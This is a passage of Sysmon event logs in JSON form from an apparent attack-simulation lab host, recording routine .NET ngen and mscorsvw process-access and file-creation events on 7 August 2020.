NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:58.916","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-0010F4B50E00}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:58.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-0010F4B50E00}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:58.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-0010F4B50E00}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:58.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432E-5F2D-0000-0010BF661000}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:58.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432E-5F2D-0000-0010BF661000}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001039BD0E00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001039BD0E00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001039BD0E00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001039BD0E00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-00106A6A1000}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-00106A6A1000}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:59.244\r\nProcessGuid: {90617006-432F-5F2D-0000-00106A6A1000}\r\nProcessId: 4864\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1300-0\\System.Xaml.Hosting.dll\r\nCreationUtcTime: 2020-08-07 12:03:59.244","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:59.244","ProcessGuid":"{90617006-432F-5F2D-0000-00106A6A1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1300-0\\System.Xaml.Hosting.dll","CreationUtcTime":"2020-08-07 12:03:59.244","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.294\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010A46F1000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.294","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010A46F1000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.294\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010A46F1000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.294","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010A46F1000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.307\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010A46F1000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 